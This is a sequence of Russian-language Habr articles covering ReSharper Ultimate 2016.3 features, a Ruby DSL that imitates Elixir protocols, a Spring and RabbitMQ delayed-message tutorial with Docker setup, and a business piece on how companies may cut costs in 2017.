Привет, хабр! Больше года мы не делились здесь новостями о релизах в семействе инструментов ReSharper Ultimate. Это не значит, что работа встала, напротив: ее было много. Читатели нашего англоязычного блога уже в курсе, что в ReSharper 2016.3 появилась начальная поддержка Visual Studio 2017, C# 7, VB.NET 15 и возможность запуска и отладки .NET Core юнит-тестов. Под катом вы найдете обзор этих и других обновлений в .NET продуктах и в ReSharper C++. Совместимость с Visual Studio 2017 RC Все инструменты в составе ReSharper Ultimate можно установить в Visual Studio 2017 RC. Есть несколько новых функций Visual Studio, над поддержкой которых мы работаем и представим исправления в ближайших обновлениях. Сейчас в ReSharper не поддерживается режим инкрементальной загрузки решений ( Lightweight Solution Load ) и .NET Core юнит-тесты. Для работы с ReSharper C++ отключите опцию Enable Faster Projects Load в настройках текстового редактора Visual Studio. Начальная поддержка C# 7 и VB.NET 15 ReSharper распознает локальные функции C# 7 и предоставляет множество инспекций кода в их контексте, таких как Possible System.NullReferenceException , Access to disposed closure и Access to modified closure . В C# 7 поддерживаются out переменные и сопоставление с шаблоном для конструкций is и case в операторе switch . Бинарные литералы в C# 7 и VB.NET 15 распознаются, и их можно преобразовать в шестнадцатеричную систему, а также добавить разделитель разрядов. Больше генераторов кода Мы улучшили механизм Generate (Alt+Ins) для C# и VB.NET и дополнили его тремя новыми действиями для генерации Relational members, Relational comparer и шаблона Dispose. Generate relational members перегружает операторы сравнения (>, IComparable и IComparable<T> с использованием выбранных полей и свойств. Generate relational comparer создает класс для сравнения выбранных объектов, наследуемый от Comparer<T> . ReSharper также определяет типы полей: если класс содержит строковые поля, можно выбрать опцию для сравнения строк и включить проверку на null. Проверка параметров на null теперь доступна для генератора Generate constructor. При выборе опции Check parameters for null создаётся защитный код, который выбрасывает исключение ArgumentNullException в конструкторе. Используйте Generate Dispose pattern для реализации интерфейса IDisposable с дополнительными проверками на null и деструктором для неуправляемых ресурсов. Напомню, что меню Generate вызывается сочетанием клавиш Alt+Ins. Действия, которые реализуют интерфейсы IDisposable , IEquatable<T> и IComparable<T> , доступны по Alt+Enter на выделенном фрагменте кода. Новые контекстные действия, быстрые исправления и рефакторинг В ReSharper 2016.3 появилось быстрое исправление (quick-fix), с помощью которого создаются поля и свойства для неиспользованных аргументов. Раньше это действие выполнялось только для одного аргумента, но теперь поля и автосвойства генерируются сразу для всех аргументов. Можно задать тип генерируемого свойства, выбрав соответствующее значение в меню Configure default . Появилось новое контекстное действие для полей типа Lazy<T> , которое создаёт свойство для инкапсуляции fieldname.Value . Новый рефакторинг Transform Parameters заменил два других: Transform Out Parameters и Extract Class from Parameters. Он переписывает параметры метода, изменяя входные параметры на новый класс или кортеж. Для возвращаемого значения или любого выходного параметра можно создать новый класс. Как всегда, рефакторинг Transform Parameters вызывается из меню Refactor This (Ctrl+Shift+R). Навигация и поиск стали удобнее Мы обновили механизм поиска вхождений, упростив поиск ссылок на часто используемые символы. Во всплывающем окне Search for usages (Shift+Alt+F12) появилась кнопка Show in Find Results . Если поиск занимает много времени, нажмите эту кнопку (или + на цифровом блоке) и продолжайте работу над проектом, пока поиск выполняется в окне Find Results. Это окно теперь тоже наполняется асинхронно, позволяя работать с частичными результатами поиска. Мы также поработали над представлением информации в окнах Recent Files и Recent Edits . Теперь в них показывается путь к файлу, чтобы избежать путаницы в случае одинаковых имен. В Recent Files можно удалять записи с помощью клавиши Delete. В Recent Edits несколько изменений в одном и том же методе объединяются в одну запись. В Go to Text появилась поддержка новых форматов файлов: .less, .hbs, .coffee, .scss, .dart, .as, .styl. В настройках ReSharper появилась новая опция Remember last search . Если её включить и выполнить поиск, то его результаты отобразятся в окне при следующем вызове Go to Everything , Go to Text и других поисковых команд. Это полезно, если не подошёл первый результат поиска, на который вы перешли, и вы хотите походить по другим результатам. ReSharper Build Использование ReSharper Build позволяет сократить время на сборку решения, т.к. перестраиваются только проекты, в которых были изменения. Результаты сборки теперь выводятся в отдельном окне Build Results , которое предоставляет ряд опций для удобного просмотра предупреждений и ошибок. Можно показать или скрыть предупреждения, вывести код с ошибкой в окно предварительного просмотра и сгруппировать результаты по различным критериям. ReSharper Build обзавелся собственным механизмом восстановления пакетов NuGet (NuGet Restore). Раньше приходилось использовать интеграцию NuGet в Visual Studio, но это работало только в версии 2015. Теперь механизм восстановления работает во всех версиях Visual Studio при условии, что у вас установлен .NET Framework 4.5 или выше. Небольшие изменения появились в опциях ReSharper Build. Из наиболее интересного — вывод журнала ошибок в окно Output Visual Studio или запись журнала в файл. Поддержка .NET Core Мы улучшили поддержку .NET Core во всех инструментах ReSharper Ultimate. ReSharper теперь позволяет запускать юнит-тесты xUnit и NUnit в проектах .NET Core и ASP.NET Core 1.0.x в Visual Studio 2015. Всё, что вы привыкли делать с тестами для .NET Framework — запускать, отлаживать, организовывать по сессиям, — теперь доступно и в проектах .NET Core. dotCover теперь умеет измерять покрытие кода юнит-тестами в проектах .NET Core. В dotTrace и dotMemory можно профилировать производительность и потребление памяти в приложениях .NET Core. Для этого выберите тип профилирования .NET Core Application и укажите путь к приложению. Улучшенная поддержка TypeScript, JavaScript и JSON в ReSharper В TypeScript появилось автодополнение кода для строковых литералов . Если у нас есть метод с определенным набором параметров, то автодополнение кода их покажет. Это работает и для чисел. Go to Implementation (Ctrl+F12) работает для типов TypeScript. Переходите от базового типа к любой из его реализаций, пропустив промежуточные шаги в цепочке наследования. Структурный поиск (Structural Navigation) с использованием клавиш Tab или Shift+Tab работает в JavaScript, TypeScript и JSON. Новое быстрое исправление Surround with type guard генерирует проверку типа переменных. В примере ниже мы добавили защиту типа для padding, чтобы исключить ошибку в том случае, если переменная содержит число. Мы также добавили поддержку CSS, JSON и JavaScript кода в строковых литералах . В C#, TypeScript или JavaScript строковому литералу можно присвоить определённый язык, чтобы получить доступ к функциям ReSharper по анализу кода и автодополнению. Сделать это можно двумя способами: с помощью сочетания клавиш Alt+Enter вызвать контекстное действие Mark as или добавить комментарий с таким синтаксисом: //language=javascript|html|regexp|jsregexp|json|css ReSharper автоматически распознает код в литералах для известных сценариев, таких как введение кода JavaScript в шаблоны AngularJS или CSS в индексаторы $[] jQuery. Включить или отключить автоматическую поддержку кода в строковых литералах можно в опциях ReSharper: Options | Code Editing | Language Injections . Наконец, в ReSharper появилась новая опция для настройки работы со сторонним кодом. На странице Third-Party Code можно отметить JavaScript, TypeScript или JSON файлы как «Skipped code» или «Library code», исключив таким образом сторонний код из индексации и инспекций ReSharper. Декомпилятор в ReSharper и dotPeek В окне ReSharper Assembly Explorer появилась возможность открыть сборку, загрузив её непосредственно с nuget.org или иного репозитория пакетов. После загрузки выбранного пакета можно исследовать входящие в него сборки, пространства имен и типы. В автономном dotPeek теперь показываются метаданные .NET сборок: таблицы, BLOB-объекты, строки и т.д. Окно Assembly Explorer позволяет автоматически найти и отобразить вхождения табличных элементов метаданных, декодировать и вывести значения BLOB, исследовать заголовки PE-файла. И, конечно, можно посмотреть декомпилированный код для любого элемента метаданных. Новая подсветка кода в dotCover В dotCover изменился механизм подсветки кода. Раньше покрытые тестами строки кода выделялись зелёным цветом, а непокрытые — красным. Вместо этого в текстовом редакторе появились цветные маркеры, которые показывают как состояние покрытия кода, так и статус покрывающих их юнит-тестов. Зелёный маркер рядом со строкой означает, что все инструкции на этой строке покрыты и тесты проходят. Красный — не работают тесты, связанные с текущей инструкцией. Серый маркер сообщает о том, что инструкция не покрыта тестами. dotTrace: доработанное представление Timeline В режиме Timeline появилась новая опция Collect native allocations , которую можно выбрать перед запуском профилировщика. Затем при анализе данных профилирования можно отфильтровать события по обращению к нативной памяти (Native Memory Allocation), чтобы выявить места в коде с возможными утечками памяти, проблемами использования неуправляемых компонентов в вашем управляемом коде и т.д. Timeline viewer теперь содержит подсистемы (Subsystems) — одну из лучших фич Performance Viewer. Механика подсистем проста: в большинстве случаев, каждая подсистема группирует вызовы, выполненные в определенном пространстве имен или сборке. Эта информация полезна для быстрой оценки распределения времени в определённом поддереве вызова среди различных компонентов: пользовательский и системный код, WPF, LINQ, коллекции, строки и т.д. Если вы используете в своем решении сторонние фреймворки, добавьте соответствующие подсистемы в dotTrace. Даже быстрый взгляд на подсистемы в дереве вызовов позволит понять, сколько времени в этом дереве приходится на тот или иной фреймворк. Окно Call Stack получило целый набор улучшений. Мы вернули опцию Show system functions , полезную при анализе времени выполнения методов. Список методов помимо времени каждого метода показывает общее время поддерева вызова. Кликните по времени метода или общему времени, чтобы применить фильтр по соответствующему методу или методу и его поддереву. В dotTrace 2016.3 мы добавили новое окно событий (Events), в котором видны все события в ходе профилирования: файловые операции, JIT, SQL запросы и др. Новая автоинспекция в dotMemory dotMemory предоставляет ряд автоматических инспекций для диагностики утечек памяти. В дополнение к обнаружению дубликатов строк, разреженных массивов и других проблем, dotMemory теперь позволяет проверить приложение на наличие завершенных объектов и объектов в очереди на завершение. Эти объекты, отсортированные по типу, показываются в разделе Finalizable objects, и являются кандидатами на реализацию в их классах интерфейса iDisposable . ReSharper C++ Постфиксные автодополнения и шаблоны — одно из самых интересных обновлений, пришедших из ReSharper, позволят вам полностью сфокусироваться на данных, а не на синтаксисе. Когда вы добавляете точку (.) или стрелку (->) после выражения, ReSharper С++ предложит свободные функции, которые могут принять это выражение в качестве первого параметра. Постфиксные шаблоны помогают сэкономить время при необходимости изменить то или иное выражение. Оборачивайте выражение с использованием шаблонов if, else, while, do, return, switch и foreach, добавив соответствующий постфикс. Мы добавили новые рефакторинги typedef . Introduce typedef быстро определяет тип для выбранного типа данных и заменяет этот тип и все его вхождения на новый typedef. Inline typedef делает обратное: заменяет существующий typedef фактическим типом данных. Ещё в ReSharper C++ появилась поддержка тестового фреймворка Catch, возможность анализа кода из командной строки и многое другое. В видео-обзоре наш технический евангелист Phil Nash подробно рассказал обо всех обновлениях в ReSharper C++: Попробуйте инструменты в работе и поделитесь мнением В этой статье рассмотрены самые заметные обновления ReSharper Ultimate. Больше подробностей вы найдете на странице What’s New . Там же можно скачать продукты . Как всегда, мы будем рады вашим комментариям. Обязательно пишите о своем опыте использования инструментов, пожеланиях и возникших проблемах здесь или в наш баг-трекер . Спасибо за внимание и до новых релизов ;)
https://habrahabr.ru/company/JetBrains/blog/317936/
habrahabr
Использование паттерна «Protocol» в Ruby
['metaprogramming', 'protocols', 'перевод']
В Elixir’е есть концепция behaviours, или «поведенческих шаблонов», если угодно. Обратимся к официальной документации: Протоколы — механизм, позволяющий реализовать полиморфизм в Elixir....
В Elixir’е есть концепция behaviours , или «поведенческих шаблонов», если угодно. Обратимся к официальной документации : Протоколы — механизм, позволяющий реализовать полиморфизм в Elixir. Использование протокола доступно для любого типа данных, реализующего этот протокол. О чем это вообще? Ну, сущности Elixir, или, как их иногда называют, «термы», неизменяемы. В Ruby мы привыкли определять методы на объектах, и эти методы просто изменяют объекты, как требуется. В Elixir’е это невозможно. Наверное, каждый, кто изучал ООП, разбирал стандартный пример, демонстрирующий полиморфизм: класс Animal , с подклассами, по разному определяющими метод sound : class Animal def sound raise "Я — абстрактный зверь, я хранитель тишины (и тайны по совместительству)." end end class Dog < Animal def sound puts "[LOG] Я собака, я лаю." "гав" end end class Cat < Animal def sound puts "[LOG] Я кот, я мяучу" "мяу" end end Теперь мы можем вызвать метод sound на экземпляре любого животного, не утруждая себя предварительным определением класса. В Elixir’е все иначе, ведь там нет «методов, определенных на объектах». Для того, чтобы добиться примерно такой функциональности (типичным примером того, где это необходимо, является интерполяция в строках "#{object}" ), мы можем определить протокол. Заметка на полях: еще можно использовать behaviours , но для простоты и краткости мы остановимся именно на протоколах. Протокол  — это интерфейс, объявленный с использованием макроса defprotocol . Для животного примера, приведенного выше, он выглядит так: defprotocol Noisy do @doc "Produces a sound for the animal given" def sound(animal) end Реализация располагается в defimpl : defimpl Noisy, for: Dog do def sound(animal), do: "woof" end defimpl Noisy, for: Cat do def sound(animal), do: "meow" end Теперь мы можем использовать протокол, не заботясь о проверках, что там за зверь: ExtrernalSource.animal |> Noisy.sound Ладно. А зачем нам вообще может потребоваться этот паттерн в руби? У нас уже есть полиморфизм, прямо из коробки, разве нет? Ну да. И нет. Наиболее очевидным примером ситуации, когда использование протоколов уместно, будет выделение общего поведения у классов, которые определены не нашим собственным кодом. Путь Рельс, получивший широкое распространение в руби благодаря DHH (Давиду Хайнемайеру Ханссону, создателю Ruby on Rails — перев.), — это манкипатчинг. Ирония заключается в том, что я лично люблю манкипатчинг. Но все же иногда подход, использующий протоколы, выглядит более работоспособным. Вместо переоткрытия класса Integer для переопределения методов для работы с датами, мы просто определяем соответствующий протокол с методами типа to_days . Таким образом, вместо something.to_days у нас будет DateGuru.to_days(something) . Весь код, отвечающий за преобразование дат и вообще операции над датами, будет располагаться в одном месте, гарантируя, что никто эти методы не перезапишет, и вообще, целостность не пострадает. Я не говорю, что такой подход лучше. Я говорю, что он другой. Чтобы все это попробовать, нам придется предоставить какой-нибудь DSL для упрощения создания протоколов в руби. Давайте создадим его. Начнем, как обычно, с тестов. Вот так должно выглядеть объявление протокола: module Protocols::Arithmetics include Dry::Protocol defprotocol do defmethod :add, :this, :other defmethod :subtract, :this, :other defmethod :to_s, :this def multiply(this, other) raise "Умеем умножать только на целое" unless other.is_a?(Integer) (1...other).inject(this) { |memo,| memo + this } end end defimpl Protocols::Arithmetics, target: String do def add(this, other) this + other end def subtract(this, other) this.gsub /#{other}/, '' end def to_s this end end defimpl target: [Integer, Float], delegate: :to_s, map: { add: :+, subtract: :- } end Давайте разберем этот код. Мы определили протокол Arithmetics , отвечающий за сложение и вычитание. Как только эти операции определены для экземпляров какого-нибудь класса, умножение ( multiply ) мы получаем бесплатно. Пример использования такого протокола: Arithmetics.add(42, 3) #⇒ 45 . Наш DSL поддерживает делегирование методов, маппинг и явное определение. Этот надуманный и упрощенный пример не выглядит очень уж осмысленным, но он достаточно хорош для прогона наших тестов. Пора к ним уже и приступить: expect(Protocols::Arithmetics.add(5, 3)).to eq(8) expect(Protocols::Arithmetics.add(5.5, 3)).to eq(8.5) expect(Protocols::Arithmetics.subtract(5, 10)).to eq(-5) expect(Protocols::Arithmetics.multiply(5, 3)).to eq(15) expect do Protocols::Arithmetics.multiply(5, 3.5) end.to raise_error(RuntimeException, "Умеем умножать только на целое") Ну вот, мы и готовы заняться реализацией. Это на удивление просто. Весь код помещается в один-единственный модуль. Мы назовем его BlackTie , поскольку мы тут разговариваем про протоколы. Прежде всего, этот модуль будет хранить список соответствий объявленных протоколов и их реализаций. module BlackTie class << self def protocols @protocols ||= Hash.new { |h, k| h[k] = h.dup.clear } end def implementations @implementations ||= Hash.new { |h, k| h[k] = h.dup.clear } end end ... Заметка на полях: трюк с default_proc в объявлении хэша ( Hash.new { |h, k| h[k] = h.dup.clear } ) помогает создать хэш с прозрачным «глубоким» доступом (обращение по несуществующему ключу сколь угодно глубоко вернет пустой хэш). Реализация defmethod тривиальна: мы просто сохраняем метод в глобальном списке соответствий для текущего протокола (в глобальном хэше @protocols ): def defmethod(name, *params) BlackTie.protocols[self][name] = params end Объявление самого протокола чуть более заковыристо (некоторые детали в этой заметке опущены, чтобы не замусоривать общую картину; полный код доступен тут ). def defprotocol raise if BlackTie.protocols.key?(self) || !block_given? ims = instance_methods(false) class_eval(&Proc.new) (instance_methods(false) - ims).each { |m| class_eval { module_function m } } singleton_class.send :define_method, :method_missing do |method, *args| raise Dry::Protocol::NotImplemented.new(:method, self.inspect, method) end BlackTie.protocols[self].each do |method, *| singleton_class.send :define_method, method do |receiver = nil, *args| impl = receiver.class.ancestors.lazy.map do |c| BlackTie.implementations[self].fetch(c, nil) end.reject(&:nil?).first raise Dry::Protocol::NotImplemented.new(:protocol, self.inspect, receiver.class) unless impl impl[method].(*args.unshift(receiver)) end end end Вкратце, в этом коде четыре блока. Прежде всего мы проверяем, что определение протокола отвечает всем необходимым условиям. Затем мы выполняем блок, переданный в этот метод, запоминая, какие методы добавились. Эти методы мы экспортируем посредством module_function . В третьем блоке мы определяем method_missing , который отвечает за выброс исключения с внятным сообщением об ошибке при попытке вызывать не существующие методы. И, наконец, мы определяем методы, либо делегируя их соответствующей реализации, если таковая существует, или выбрасывая внятное исключение, в случае, если для данного объекта реализация не найдена. Ну, осталось только определить defimpl . Код ниже тоже слегка упрощен, полная версия там же по ссылке. def defimpl(protocol = nil, target: nil, delegate: [], map: {}) raise if target.nil? || !block_given? && delegate.empty? && map.empty? # builds the simple map out of both delegates and map mds = normalize_map_delegates(delegate, map) Module.new do mds.each(&DELEGATE_METHOD.curry[singleton_class]) # delegation impl singleton_class.class_eval(&Proc.new) if block_given? # block takes precedence end.tap do |mod| mod.methods(false).tap do |meths| (BlackTie.protocols[protocol || self].keys - meths).each_with_object(meths) do |m, acc| logger.warn("Implicit delegate #{(protocol || self).inspect}##{m} to #{target}") DELEGATE_METHOD.(mod.singleton_class, [m] * 2) acc << m end end.each do |m| [*target].each do |tgt| BlackTie.implementations[protocol || self][tgt][m] = mod.method(m).to_proc end end end end module_function :defimpl Невзирая на кажущуюся невнятность этого кода, он очень прост: мы создаем анонимный модуль, определяем на нем методы и назначаем его главным исполняющим методов, делегированных из протокола. Вызов Arithmetics.add(5, 3) приведет к определению ресивера ( 5 ), ретроспективного поиска реализации ( defimpl Arithmetics, target: Integer ) и вызову соответствуюзего метода ( :+ ). Это все определяется строкой defimpl target: [Integer, ...], ..., map: { add: :+, ... } Если мне не удалось убедить вас в полезности изложенного подхода, я попробую еще раз. Представьте себе протокол Tax (налог). Он можен быть определен для таких классов, как ItemToSell , Shipment , Employee , Lunch и так далее. Даже если эти классы пришли в ваш проект из разных гемов и источников данных. → Репозиторий dry-behaviour гема на github. Наслаждайтесь! Оригинал статьи
https://habrahabr.ru/post/318138/
habrahabr
Пример использования RabbitMQ Delayed Message Exchange в Java Spring Framework
['java', 'spring framework', 'rabbitmq', 'delayed message exchange']
В этом посте я хочу показать как использовать отложенные сообщения в RabbitMQ. В качестве примера задачи, где удобно использовать отложенную очередь, возьму механизм постбеков (s2s ping back, s2s...
В этом посте я хочу показать как использовать отложенные сообщения в RabbitMQ. В качестве примера задачи, где удобно использовать отложенную очередь, возьму механизм постбеков ( s2s ping back , s2s pixel ). В двух словах о механизме постбеков: 1. Происходит некое событие 2. Ваше приложение должно уведомить об этом событии сторонний сервис 3. Если сторонний сервис оказался недоступен, то необходимо повторить уведомление еще раз через несколько минут Для повторного уведомления я буду использовать отложенную очередь. RabbitMQ по умолчанию не умеет задерживать сообщения, они доставляются сразу после публикации. Функционал отложенной доставки доступен в виде плагина rabbitmq-delayed-message-exchange . Сразу хочу отметить, что плагин экспериментальный . Не смотря на то, что в целом он достаточно стабилен, использовать в продакшене его нужно на свой страх и риск. Собираем Docker контейнер с RMQ и плагином За основу я возьму официальный образ с management plugin , пригодится для тестирования. Dockerfile: FROM rabbitmq:3.6-management RUN apt-get update && apt-get install -y curl RUN curl http://www.rabbitmq.com/community-plugins/v3.6.x/rabbitmq_delayed_message_exchange-0.0.1.ez > $RABBITMQ_HOME/plugins/rabbitmq_delayed_message_exchange-0.0.1.ez RUN rabbitmq-plugins enable --offline rabbitmq_delayed_message_exchange Сборка docker build --tag=x25/rmq-delayed-message-exchange . Запуск docker run -d --name rmq -p 5672:5672 -p 15672:15672 x25/rmq-delayed-message-exchange Spring AMQP Spring Framework полностью поддерживает плагин в проекте s pring-rabbit . Начиная с версии 1.6.4 можно пользоваться как xml/bean конфигурациями так и аннотациями. Я буду использовать Spring Boot Amqp Starter. Зависимость для Maven <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-amqp</artifactId> </dependency> Зависимость для Gradle compile "org.springframework.boot:spring-boot-starter-amqp" Конфигурация через аннотации При использовании бутстраппера и аннотаций Spring берет большую часть работы на себя. Достаточно лишь написать: @RabbitListener(bindings = @QueueBinding(value = @Queue(value = DELAY_QUEUE_NAME), exchange = @Exchange(value = DELAY_EXCHANGE_NAME, delayed = "true"), key = DELAY_QUEUE_NAME)) public void onMessage(Message<?> message) { //... } И при запуске приложения RabbitAdmin автоматически объявит delayed exchange , queue , создаст обработчики событий и привяжет их к аннотированному методу. Нужно больше потоков для обработки сообщений? Это настраивается через файл внешней конфигурации (свойство spring.rabbitmq.listener.concurrency ) или через параметр containerFactory у аннотации: Пример //Создаем конфигурацию: @Configuration public class RabbitConfiguration { @Bean(name = "containerFactory") @Autowired public SimpleRabbitListenerContainerFactory containerFactory(ConnectionFactory connectionFactory) { SimpleRabbitListenerContainerFactory factory = new SimpleRabbitListenerContainerFactory(); factory.setConnectionFactory(connectionFactory); factory.setConcurrentConsumers(10); factory.setPrefetchCount(30); return factory; } } //Добавляем параметр: @RabbitListener(containerFactory = "containerFactory", ...) Для отправки отложенного сообщения удобно использовать RabbitTemplate: rabbitTemplate.send( DELAY_EXCHANGE_NAME, DELAY_QUEUE_NAME, MessageBuilder .withBody(data) .setHeader("x-delay", MESSAGE_DELAY_MS).build() ); Отправлено оно будет моментально, но доставлено будет с задержкой, указанной в заголовке x-delay . Максимально допустимое время задержки (2^32-1) мс. Готовый пример приложения: @SpringBootApplication public class Application { private final Logger log = LoggerFactory.getLogger(Application.class); private final static String DELAY_QUEUE_NAME = "delayed.queue"; private final static String DELAY_EXCHANGE_NAME = "delayed.exchange"; private final static String DELAY_HEADER = "x-delay"; private final static String NUM_ATTEMPT_HEADER = "x-num-attempt"; private final static long RETRY_BACKOFF = 5000; @Autowired private RabbitTemplate rabbitTemplate; @RabbitListener(bindings = @QueueBinding(value = @Queue(value = DELAY_QUEUE_NAME), exchange = @Exchange(value = DELAY_EXCHANGE_NAME, delayed = "true"), key = DELAY_QUEUE_NAME)) public void onMessage(Message<byte[]> message) { String endpointUrl = new String(message.getPayload()); Long numAttempt = (Long) message.getHeaders().getOrDefault(NUM_ATTEMPT_HEADER, 1L); log.info("Message received, url={}, attempt={}", endpointUrl, numAttempt); if (!doNotifyEndpoint(endpointUrl) && numAttempt < 3) { rabbitTemplate.send( DELAY_EXCHANGE_NAME, DELAY_QUEUE_NAME, MessageBuilder .withBody(message.getPayload()) .setHeader(DELAY_HEADER, numAttempt * RETRY_BACKOFF) .setHeader(NUM_ATTEMPT_HEADER, numAttempt + 1) .build() ); } } private boolean doNotifyEndpoint(String url) { try { HttpURLConnection connection = (HttpURLConnection) new URL(url).openConnection(); /* @todo: set up connection timeouts */ return (connection.getResponseCode() == 200); } catch (Exception e) { log.error(e.getMessage()); return false; } } public static void main(String[] args) { SpringApplication.run(Application.class, args); } } application.yml spring: rabbitmq: host: 127.0.0.1 port: 5672 username: guest password: guest virtual-host: / listener: prefetch: 10 concurrency: 50 build.gradle buildscript { repositories { mavenCentral() } dependencies { classpath("org.springframework.boot:spring-boot-gradle-plugin:1.4.2.RELEASE") } } apply plugin: 'java' apply plugin: 'eclipse' apply plugin: 'idea' apply plugin: 'org.springframework.boot' jar { baseName = 'rmq-delayed-demo' version = '0.1.0' } repositories { mavenCentral() } sourceCompatibility = 1.8 targetCompatibility = 1.8 dependencies { compile("org.springframework.boot:spring-boot-starter-amqp") testCompile("org.springframework.boot:spring-boot-starter-test") } Проверяем отложенную доставку через панель управления (rmq-management), она доступна на порту 15672 : Логи: 2016-12-21 14:27:25.927: Message received, url=http://localhost:1234, attempt=1 2016-12-21 14:27:25.941: Connection refused (Connection refused) 2016-12-21 14:27:30.946: Message received, url=http://localhost:1234, attempt=2 2016-12-21 14:27:30.951: Connection refused (Connection refused) 2016-12-21 14:27:40.954: Message received, url=http://localhost:1234, attempt=3 Конфигурация через XML При использовании XML конфигураций нужно просто установить у exchange-бина свойство delayed в true и RabbitAdmin сделает все остальное за вас. Пример xml-конфигурации в связке с Integration Framework <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:int="http://www.springframework.org/schema/integration" xmlns:int-amqp="http://www.springframework.org/schema/integration/amqp" xmlns:rabbit="http://www.springframework.org/schema/rabbit" xsi:schemaLocation="http://www.springframework.org/schema/integration/amqp http://www.springframework.org/schema/integration/amqp/spring-integration-amqp.xsd http://www.springframework.org/schema/integration http://www.springframework.org/schema/integration/spring-integration.xsd http://www.springframework.org/schema/rabbit http://www.springframework.org/schema/rabbit/spring-rabbit.xsd http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd"> <int:channel id="to-delayed-rmq" /> <int-amqp:outbound-channel-adapter channel="to-delayed-rmq" amqp-template="rabbitTemplate" exchange-name="delayed.exchange" routing-key="delayed.binding" mapped-request-headers="x-delay" /> <int-amqp:inbound-channel-adapter channel="from-delayed-rmq-queue" queue-names="delayed.queue" message-converter="amqpMessageConverter" connection-factory="rabbitConnectionFactory" concurrent-consumers="10" prefetch-count="50" /> <int:service-activator input-channel="from-delayed-rmq-queue" method="onMessage"> <bean id="postbackServiceActivator" class="PostbackServiceActivator" /> </int:service-activator> <rabbit:queue name="delayed.queue" /> <rabbit:direct-exchange name="delayed.exchange" delayed="true"> <rabbit:bindings> <rabbit:binding queue="delayed.queue" key="delayed.binding" /> </rabbit:bindings> </rabbit:direct-exchange> </beans> Полезные ссылки Официальная документация Страница плагина
https://habrahabr.ru/post/318118/
habrahabr
Как компании будут экономить в 2017 году: 3 эффективных способа
['BPM', 'бизнес-процессы', 'тренды', 'управление']
По определению консалтинговой компании Deloitte, текущий период в мировой экономике характеризуется неопределенностью. Поэтому бизнес во всем мире стремится к оптимизации и снижению издержек....
По определению консалтинговой компании Deloitte, текущий период в мировой экономике характеризуется неопределенностью. Поэтому бизнес во всем мире стремится к оптимизации и снижению издержек. Сегодня мы рассмотрим несколько способов, с помощью которых компании из разных стран экономят уже сейчас. Удаленная работа станет более привычной даже для больших компаний Еще несколько лет назад удаленная работа была по большей части уделом фрилансеров. Однако в сложных экономических условиях часто компании невыгодно содержать большой офис. Развитие инструментов коммуникации позволяет решать многие задачи через интернет. А значит — бизнес получает возможность для экономии. В США многие крупные компании на протяжении нескольких лет предлагают вакансии для удаленной работы (вот подборка из 10 таких организаций ). Заметен тренд и в России — по прогнозу J’son & Partners Consulting, к 2020 году 20% рабочих мест в России будут виртуальными. Распространение удаленной работы позволит работодателям сэкономить более 1 трлн рублей. Одной из первых больших российских компаний, решивших воспользоваться преимуществами перехода на «удаленку», стал «Вымпелком». К концу 2017 года компания планирует перевести на формат частичной работы вне офиса 50-70% персонала. По задумке руководителей оператора, это позволит отказаться от аренды до трети текущих офисных площадей. Кроме того, в компании ожидают в ближайшие годы кадровый кризис — дефицит сотрудников возникнет из-за демографического провала в 90-е годы. Это значит, что и так высокая конкуренция за талантливых работников еще сильнее повысится, и возможность работать удаленно станет еще одним конкурентным преимуществом компании. Все это говорит о том, что распространение удаленной работы в 2017 году продолжится. Автоматизация бизнес-процессов станет конкурентным преимуществом По данным аналитиков PricewaterhouseCoopers, 64% опрошенных в России компаний планируют в 2016 году сократить издержки. Решить эту задачу можно с помощью внедрения систем автоматизации бизнес-процессов — их называют системами обработки заявок (order management system, OMS). Во многих отраслях требуется быстрая реакция на меняющуюся обстановку — это характерно для банковской сферы, телекоммуникаций, страхования, ритейла и так далее. В таких компаниях большинство бизнес-процессов начинается со входящей заявки от клиента. Выполнение типовых работ и услуг — это сложный и разветвленный бизнес-процесс, на разных этапах которого требуется взаимодействие сотрудников из нескольких подразделений. Часто здесь и возникают проблемы. При использовании систем автоматизации, бизнес-аналитики рисуют процесс прямо в виде схемы, которая затем начинает исполняться системой. К примеру, при появлении заказа сотрудникам разных подразделений могут автоматически отправляться задачи, которые следует решить. Если процесс «подвисает», то руководство сразу видит, на каком сотруднике это случилось — на каждый этап можно устанавливать сроки сдачи, приближение к которым генерирует уведомления для ответственных. В реальной жизни четко отстроенный и контролируемый бизнес-процесс может серьезно повышать выручку компании. Например, в сфере телекома бизнес-процессы сложны — только проверка на возможность оказания услуги потенциальному абоненту может идти по двум направлениям: автоматический анализ зоны покрытия по базе или ручная проверка, когда выяснить ее рамки можно только по бумажным документам. Пока сотрудники разберутся в таких тонкостях, время будет упущено — а абонента важно подключить быстро — в тот же день или на следующий. Сэкономить можно и при выборе самой системы автоматизации. Существующие разработки от крупных вендоров стоят дорого, кроме того потом эти инструменты еще нужно интегрировать с существующими базами данных или бухгалтерским софтом, а также разрабатывать собственный интерфейс пользователя — стандартные обычно слишком сложны. В итоге внедрение может стоить дороже лицензии на программу. Поэтому некоторые компании стремятся использовать открытые продукты, вроде Гидры OMS — эта система поставляется бесплатно, хранит все данные в собственной БД и имеет дружелюбный интерфейс. Использовать такие инструменты могут даже компании, у которых нет серьезных бюджетов на автоматизацию инфраструктуры. Будут внедряться новые способы оплаты Удобство клиента останется главной целью компаний, работающих в сети. Чем проще и безболезненнее человек сможет совершить покупку, тем выше вероятность успешного исхода. Именно поэтому, помимо традиционных способов оплаты банковскими картами, компании добавляют и другие варианты. Один из них — внедрение поддержки оплаты с помощью систем Apple Pay и Samsung Pay, которые уже начали работу в России. Список доступных для оплаты способов постоянно расширяется — сейчас совершить покупку можно с помощью Bitcoin, Dwolla, Amazon Payments, подарочных карт, пополняемых предоплаченных карт, PayPal, Google Сheckout, Google Wallet и т.п. Этот процесс очевидным образом будет продолжаться — разным клиентам подходят разные способы оплаты, а выбирать неудобный вариант никто не будет. Поэтому компания либо даст возможность заплатить так, как удобно человеку, либо потеряет продажу. В особенности это касается небольших спонтанных покупок. Стремление сделать покупку максимально простой способствует и росту популярности автоматических (рекуррентных) платежей. По статистике из близкой нам сферы телекома, внедрение автоплатежей позволяет повысить выручку операторов до 8% – вполне неплохо в текущих экономических условиях. Кроме того, сохраненные данные карты помогают телеком-оператору не только облегчить клиенту оплату ежемесячных платежей, но и увеличивают шанс на покупку дополнительных разовых услуг.
